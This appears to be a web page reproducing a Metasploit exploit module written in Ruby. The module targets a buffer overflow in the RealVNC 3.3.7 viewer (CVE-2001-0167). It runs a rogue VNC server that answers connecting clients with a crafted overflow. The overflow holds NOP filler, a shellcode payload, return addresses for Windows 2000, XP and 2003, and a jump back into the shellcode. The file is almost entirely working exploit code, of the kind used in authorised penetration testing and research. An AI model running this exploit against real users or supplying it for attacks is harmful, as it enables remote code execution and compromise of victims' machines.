Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/vnc/realvnc_client.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'RealVNC 3.3.7 Client Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).15},16'Author' => 'MC',17'License' => MSF_LICENSE,18'References' =>19[20[ 'CVE', '2001-0167' ],21[ 'OSVDB', '6281' ],22[ 'BID', '2305' ],23],24'DefaultOptions' =>25{26'EXITFUNC' => 'thread',27},28'Payload' =>29{30'Space' => 500,31'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",32'MaxNops' => 0,33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' =>37[38[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],39[ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],40[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],41],42'Privileged' => false,43'DisclosureDate' => '2001-01-29',44'DefaultTarget' => 0))4546register_options(47[48OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])49])50end5152def on_client_connect(client)5354rfb = "RFB 003.003\n"5556client.put(rfb)57end5859def on_client_data(client)60return if ((p = regenerate_payload(client)) == nil)6162filler = make_nops(993 - payload.encoded.length)6364sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded65sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')66sploit << rand_text_english(200)6768print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")69client.put(sploit)7071handler72service.close_client(client)73end74end757677